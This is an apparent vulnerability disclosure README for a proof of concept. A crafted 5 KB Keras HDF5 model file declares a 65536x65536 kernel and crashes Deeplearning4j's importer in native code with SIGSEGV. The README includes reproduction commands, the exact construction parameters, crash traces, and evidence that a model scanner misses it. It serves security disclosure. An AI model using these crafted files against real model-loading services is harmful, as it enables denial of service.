pragnyanramtha/dl4j-keras-hdf5-native-crash-poc
Benign DL4J Keras HDF5 Native Crash PoC
This repository contains a benign model-file-format PoC for Deeplearning4j's Keras HDF5 import path. A tiny HDF5 model file declares a Dense kernel with very large dimensions while storing no concrete tensor data beyond sparse HDF5 metadata. DL4J accepts the artifact through its public Keras importer and crashes the JVM in native code during weight loading.
Files
keras-seq-dense-huge-kernel-v2dict.h5: 5.3 KiB Keras HDF5 artifact.make_poc.py: generator for an equivalent sparse HDF5 artifact.verify_poc.sh: builds the Java verifier and runs the vulnerable import path.src/main/java/dl4jpoc/LoadKerasSequential.java: minimal harness that callsKerasModelImport.importKerasSequentialModelAndWeights(...).results/runtime_sigsegv_output.txt: captured JVM crash output.results/hs_err_sigsegv.log: captured JVM fatal error report.results/modelscan_0.8.8_output.json: scanner output captured locally.
Affected Target
- Data format: DL4J Keras model import artifact, HDF5
.h5 - Library:
org.deeplearning4j:deeplearning4j-core - Version tested:
1.0.0-M2.1 - Maven Central metadata on 2026-05-12 lists
1.0.0-M2.1as latest/release. - Entry point:
KerasModelImport.importKerasSequentialModelAndWeights(path, false) - Crash path:
Hdf5Archive.readDataSet(...)duringKerasModelUtils.importWeights(...) - JDK used for local proof: Temurin OpenJDK
17.0.19+10 - JavaCPP/HDF5 stack from Maven dependency tree: JavaCPP
1.5.7, Bytedeco HDF51.12.1-1.5.7
Impact
The artifact is only 5360 bytes but declares a Dense kernel dataset with shape (65536, 65536) and dtype float32. The dataset is chunked with a fill value, so HDF5 stores it sparsely. DL4J's Keras importer trusts the artifact-controlled HDF5 shape while reading weights, allocates Java-side buffers, passes them through JavaCPP/HDF5 native code, and the process terminates with SIGSEGV.
This is a model-file-carried denial of service/native crash in a public model import workflow. No code execution, persistence, file write, or credential access is claimed.
Reproduction
Prerequisites: JDK 11+ and Maven.
hf download pragnyanramtha/dl4j-keras-hdf5-native-crash-poc \
--repo-type model \
--local-dir dl4j-keras-hdf5-native-crash-poc
cd dl4j-keras-hdf5-native-crash-poc
./verify_poc.shExpected vulnerable output includes:
importing=keras-seq-dense-huge-kernel-v2dict.h5
A fatal error has been detected by the Java Runtime Environment:
SIGSEGV
The crash happened outside the Java Virtual Machine in native code.The direct Java call is:
mvn -q -DskipTests compile dependency:build-classpath -Dmdep.outputFile=target/classpath.txt
java -Xmx128m \
-XX:ErrorFile=results/hs_err_pid%p.log \
-cp "target/classes:$(cat target/classpath.txt)" \
dl4jpoc.LoadKerasSequential keras-seq-dense-huge-kernel-v2dict.h5The captured fatal error report includes the DL4J importer frames:
org.deeplearning4j.nn.modelimport.keras.Hdf5Archive.readDataSet(...)
org.deeplearning4j.nn.modelimport.keras.utils.KerasModelUtils.importWeights(...)
org.deeplearning4j.nn.modelimport.keras.KerasModelImport.importKerasSequentialModelAndWeights(...)Artifact Construction
The PoC creates a Keras-style HDF5 file with these key properties:
- root attribute
model_configdescribes aSequentialmodel with oneDenselayer. batch_input_shapeis[null, 65536].unitsis65536.model_weights/dense/dense/kernel:0is an HDF5 dataset with shape(65536, 65536), dtypefloat32, chunks(1, 1), and fill value0.0.
Generate an equivalent artifact:
python3 -m pip install h5py
python3 make_poc.py --out generated.h5Scanner Behavior
ModelScan 0.8.8 scans the HDF5 file with H5LambdaDetectScan, reports one scanned file, and reports zero issues/errors:
modelscan_version: 0.8.8
total_issues: 0
scanned_files: ["keras-seq-dense-huge-kernel-v2dict.h5"]Scanner reproduction:
modelscan -p keras-seq-dense-huge-kernel-v2dict.h5 -r json -o results/modelscan_0.8.8_output.jsonHashes
SHA256(keras-seq-dense-huge-kernel-v2dict.h5)=a2b271c4a5a7193ebbdefd3be0c3b018dd5f69bb5a98929fd976201f21dd7941
Size=5360 bytesLimitations
- Availability impact only; this is not an ACE claim.
- The crash occurs in native code reached through DL4J's public Keras importer. The root cause may span DL4J shape validation and the JavaCPP/HDF5 native stack, but the artifact entry point is a DL4J model import path.
- The PoC uses Keras HDF5 syntax consumed by DL4J; it is not a DL4J
ModelSerializerZIP artifact.
